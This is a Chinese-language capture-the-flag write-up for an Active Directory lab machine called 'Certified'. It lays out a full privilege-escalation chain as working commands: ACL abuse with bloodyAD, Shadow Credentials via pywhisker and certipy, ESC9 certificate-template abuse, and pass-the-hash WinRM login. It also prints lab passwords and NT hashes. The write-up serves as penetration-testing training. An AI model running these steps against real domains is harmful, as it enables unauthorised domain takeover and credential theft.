Certified

1
TARGET="10.129.26.213"

01. 信息搜集

端口扫描

1
sudo nmap -sT -sV -sC -O -p 53,88,135,139,389,445,636,3268,3269,5985 $TARGET -oA nmapscan/detail
端口 服务 关键信息
53 DNS Simple DNS Plus
88 Kerberos 域控特征
389/636/3268/3269 LDAP(S) Domain: certified.htb, DC: DC01.certified.htb
445 SMB signing:True, SMBv1:False, Null Auth:True
5985 WinRM HTTPAPI 2.0

_clock-skew: mean: 7h00m00smacOS 与 DC 有 7 小时偏差,后续 Kerberos 操作必须同步时钟。

域名与 hosts

1
2
echo "10.129.26.213 certified.htb" | sudo tee -a /etc/hosts
echo "10.129.26.213 DC01.certified.htb" | sudo tee -a /etc/hosts

UDP 扫描

1
2
sudo nmap -sU --top-ports 20 $TARGET -oA nmapscan/udp
# 53/udp (DNS), 123/udp (NTP) open — 域控标准配置

02.权限提升

已知凭据:judith.mader : judith09

BloodHound 分析

1
2
bloodhound-python -d certified.htb -u 'judith.mader' -p 'judith09' \
-dc 'dc01.certified.htb' -c all -ns $TARGET

攻击路径:

1
2
3
4
5
6
judith.mader ──WriteOwner──▶ MANAGEMENT 组

GenericWrite


management_svc(CanPSRemote)

即 judith 可夺取 management 组所有权 → 加入该组 → 利用 GenericWrite 控制 management_svc → WinRM 登录拿 user flag。

Kerberoasting(失败)

management_svc 有 SPN,尝试 Kerberoasting:

1
2
3
4
GetUserSPNs.py certified.htb/judith.mader:judith09 -dc-ip $TARGET -request-user management_svc
# 拿到 $krb5tgs$23$ 票据
hashcat -m 13100 hash.txt rockyou.txt
# 强密码,跑不出来 → 转而利用 GenericWrite 绕过

进组(WriteOwner 利用)

攻击计划:set owneradd genericAlladd groupMember

1
2
3
bloodyAD --host $TARGET -d certified.htb -u judith.mader -p judith09 set owner management judith.mader
bloodyAD --host $TARGET -d certified.htb -u judith.mader -p judith09 add genericAll management judith.mader
bloodyAD --host $TARGET -d certified.htb -u judith.mader -p judith09 add groupMember management judith.mader

第一次尝试失败分析

bloodyAD add groupMember 报了 [+] judith.mader added to management,但验证发现 judith 实际并未入组:

1
2
bloodyAD --host $TARGET -d certified.htb -u judith.mader -p judith09 get object management --attr member
# member: CN=management service,... ← 只有 management_svc,没有 judith!

后续 certipy shadow autoINSUFF_ACCESS_RIGHTS

根因bloodyAD add groupMember[+] 提示具有误导性——LDAP 写操作被 DC 拒绝但工具未报错。原因是执行顺序问题:虽然 set owner 获得隐式 WRITE_DAC,但 owner 权限不自动包含 member 属性的 WRITE_PROPERTY,必须等 add genericAll 的 ACE 在 DC 上生效后,add groupMember 才能真正写入。

教训:每次修改 AD 对象后,立即用 get object --attr member 验证,不要信任工具的 [+] 提示。严格按 set owneradd genericAll验证add groupMember验证 的顺序执行。

macOS 环境适配

全程在 macOS 下完成,以下工具链差异对照:

原方案(Linux) macOS 问题 替代方案
dacledit.py Python hashlib 缺 MD4 → unsupported hash type MD4 bloodyAD add genericAll
net rpc group addmem 新版 impacket net.py 只支持枚举 bloodyAD add groupMember
certipy auth -pfx 不支持 -password 传 PFX 密码 openssl 转无密码 PFX
certipy req 直连 NetBIOS 名称解析超时 -target-ip + -target
sudo ntpdate 本地时间与 DC 偏差 7h,Kerberos 全部 KRB_AP_ERR_SKEW 必须 sudo ntpdate -u $TARGET

Shadow Credentials 原理

Shadow Credentials 是 Kerberos PKINIT 扩展的利用技术。核心流程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
GenericWrite on 目标用户


写入 msDS-KeyCredentialLink 属性
(向目标用户的 AD 对象写入一个 X.509 公钥)


用对应私钥发起 PKINIT AS-REQ
(Kerberos 公钥认证,替代密码/NTLM 哈希)


DC 验证公钥 → 签发 TGT
(目标用户的身份票据)


用 TGT 向 DC 请求 NT Hash
(通过 Kerberos S4U 或 U2U 获取 NTLM 凭证)

与传统的密码认证不同,PKINIT 使用证书/密钥对替代密码。AD 在 msDS-KeyCredentialLink 属性中存储 KeyCredential 结构(包含公钥 + 设备 ID),当 PKINIT 请求携带对应私钥签名时,DC 即可认证该用户——全程不需要知道密码

为什么 GenericWrite 能打 Shadow Credentials?

GenericWrite 允许对目标对象写入任意非保护属性。msDS-KeyCredentialLink 恰好是一个非保护、多值属性。因此只要对目标用户有 GenericWrite,就能:

  1. 写入一个自定义的 KeyCredential(公钥)
  2. 保留该公钥对应的私钥
  3. 用私钥通过 PKINIT 获取该用户的 TGT

这是一条完全绕过密码的横向移动路径。

前置条件

  • 对目标用户有 GenericWrite / GenericAll / WriteProperty on msDS-KeyCredentialLink
  • 目标域控 ≥ Windows Server 2016(支持 KeyCredential)
  • 域内 ADCS 可用(PKINIT 依赖 CA 签发证书),或使用自签名证书

Shadow Credentials 实战 → management_svc

Step 1:pywhisker 写入影子凭证

1
2
pywhisker -d "certified.htb" -u "judith.mader" -p "judith09" \
--target "management_svc" --action "add" --dc-ip $TARGET
参数 含义
-d 目标域名(certified.htb
-u / -p 攻击者的明文凭据(judith.mader),用于 LDAP 认证
--target 目标用户 sAMAccountName(management_svc
--action add 向目标的 msDS-KeyCredentialLink 写入新的 KeyCredential
--dc-ip 直接指定 DC IP,不走 DNS 解析

输出产物:

  • XFj0RIPo.pfx — PKCS#12 格式证书 + 私钥(受密码保护)
  • 密码:H0dfEOKA6vOQXoMq9LPK

pywhisker 使用 LDAP 协议写入属性,不经过 Kerberos,因此不受时钟偏差影响。这也是为什么在未同步时钟时此步就能成功。

Step 2:openssl 转换为无密码 PFX

certipy 的 auth 子命令不支持传递 PFX 密码(load_pfx(pfx, password=None)),因此需要转换为无密码 PFX:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# 提取私钥
# -passin pass:xxx — PFX 的解密密码
# -nocerts — 只提取私钥,不包含证书
# -nodes — 私钥不加密(no DES)
openssl pkcs12 -in XFj0RIPo.pfx -passin pass:'H0dfEOKA6vOQXoMq9LPK' \
-nocerts -nodes -out management_svc.key

# 提取客户端证书
# -clcerts — 只提取客户端证书,不包含 CA 链
# -nokeys — 只提取证书,不包含私钥
openssl pkcs12 -in XFj0RIPo.pfx -passin pass:'H0dfEOKA6vOQXoMq9LPK' \
-clcerts -nokeys -out management_svc.crt

# 重新打包为无密码 PFX
# -export — 打包为 PKCS#12
# -inkey / -in — 私钥 + 证书
# -passout pass: — 输出 PFX 密码为空
openssl pkcs12 -export -in management_svc.crt -inkey management_svc.key \
-out management_svc_nopass.pfx -passout pass:

Step 3:certipy auth 获取 TGT + NT Hash

1
2
3
# ⚠️ 必须先 sudo ntpdate -u $TARGET(PKINIT 走 Kerberos,有时钟要求)
certipy auth -pfx management_svc_nopass.pfx -domain certified.htb \
-dc-ip $TARGET -username management_svc
参数 含义
-pfx PFX/P12 证书文件(含私钥)
-domain 目标域名
-dc-ip DC IP 地址
-username 目标用户的 UPN(management_svc@certified.htb),用于构造 AS-REQ

内部流程:

  1. 从 PFX 解析私钥和证书
  2. 构造 PKINIT AS-REQ 发送到 KDC(DC:88)
  3. DC 在 msDS-KeyCredentialLink 中找到匹配的公钥 → 签发 TGT
  4. 用 TGT 通过 Kerberos U2U 或 TGS-REQ 向 DC 请求该用户的 NT Hash
  5. 输出 NTLM Hash,同时保存 .ccache 票据文件

management_svc: a091c1832bcdd4677c28b5a6a1295584

certipy auth 在 TGT 阶段如果卡住,90% 是时钟偏差问题。sudo ntpdate -u $TARGET 后重试即可。

横向移动 → ca_operator

BloodHound:management_svc 对 ca_operator 有 GenericAll。同样 Shadow Credentials 手法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
pywhisker -d "certified.htb" -u "management_svc" \
-H "a091c1832bcdd4677c28b5a6a1295584" \
--target "ca_operator" --action "add" --dc-ip $TARGET

# 转无密码 PFX → certipy auth
openssl pkcs12 -in 8DJ1vgSo.pfx -passin pass:'NkFsAocZVFOqocTIymV0' \
-nocerts -nodes -out ca_operator.key
openssl pkcs12 -in 8DJ1vgSo.pfx -passin pass:'NkFsAocZVFOqocTIymV0' \
-clcerts -nokeys -out ca_operator.crt
openssl pkcs12 -export -in ca_operator.crt -inkey ca_operator.key \
-out ca_operator.pfx -passout pass:

certipy auth -pfx ca_operator.pfx -domain certified.htb \
-dc-ip $TARGET -username ca_operator

ca_operator: b4b86f45c6018f1b664f70805f45d8f2

ESC9 提权 → Administrator

ca_operator 可注册 CertifiedAuthentication 模板(no security extension),ESC9:修改 UPN 伪装 Administrator 申请证书。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# 1. 改 UPN → Administrator
certipy account update -username management_svc@certified.htb \
-hashes a091c1832bcdd4677c28b5a6a1295584 \
-user ca_operator -upn Administrator -dc-ip $TARGET

# 2. 申请证书(-target-ip 避免 NetBIOS 超时)
certipy req -username ca_operator@certified.htb \
-hashes b4b86f45c6018f1b664f70805f45d8f2 \
-ca certified-DC01-CA -template CertifiedAuthentication \
-dc-ip $TARGET -target-ip $TARGET -target "dc01.certified.htb" -timeout 30
# → administrator.pfx (UPN=Administrator)

# 3. 恢复 UPN
certipy account update -username management_svc@certified.htb \
-hashes a091c1832bcdd4677c28b5a6a1295584 \
-user ca_operator -upn ca_operator@certified.htb -dc-ip $TARGET

# 4. 认证获取 Administrator hash
certipy auth -pfx administrator.pfx -domain certified.htb \
-dc-ip $TARGET -username administrator

Administrator: 0d5b49608bbce1751f708748f67e2d34

Flag

1
2
3
4
#  渗透流量走非 HTTP 协议,绕过本地代理
unset HTTP_PROXY HTTPS_PROXY ALL_PROXY http_proxy https_proxy

evil-winrm -i $TARGET -u Administrator -H 0d5b49608bbce1751f708748f67e2d34
Flag
User (management_svc) 47bfd*****1ed812
Root (Administrator) ad2f8*****13944a


03.攻击链路

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
judith.mader ──WriteOwner──▶ MANAGEMENT 组
│ │
│ set owner + genericAll │ GenericWrite
│ + groupMember │
▼ ▼
judith ∈ management ────▶ management_svc

GenericAll


ca_operator

ESC9 │ certipy req
│ (UPN=Administrator)

Administrator 🏁

04.踩坑复盘

# 现象 根因 / 解法
1 bloodyAD add groupMember 谎报成功 get object --attr member 验证发现并未入组 LDAP 层拒绝但工具未报错;严格按序执行 + 每步验证
2 macOS 时钟偏差 7 小时 Kerberos 全部 KRB_AP_ERR_SKEW sudo ntpdate -u $TARGET
3 certipy auth 不支持 PFX 密码 Invalid password or PKCS12 data openssl 转无密码 PFX
4 certipy req NetBIOS 超时 The NETBIOS connection timed out -target-ip + -target
5 impacket 新版 net.py 阉割 unrecognized arguments: addmem bloodyAD add groupMember 替代
6 certipy shadow auto 卡 TGT 时钟偏差致 PKINIT 超时 拆成 pywhisker add + certipy auth 两步
7 本地代理拦截渗透流量 WinRM/SMB 全部超时,evil-winrm 报 SSL error Clash 代理(127.0.0.1:7890)不理解 SMB/WinRM 二进制协议;unset *_PROXY

坑 #7 详解:Clash/V2Ray 在 127.0.0.1:7890 是 HTTP/SOCKS5 代理,Python 的 urllib、Ruby 的 Net::HTTP、impacket 底层 socket 都会读取 HTTP_PROXY 环境变量。SMB(445)和 WinRM(5985)走裸 TCP 二进制协议,代理收到 SMB NEGOTIATE 包(\x00\x00\x00\xa4\xff\x53\x4d\x42...)后无法解析,直接丢弃 → 客户端永久等待 → timeout。渗透测试时必须 unset 这些代理变量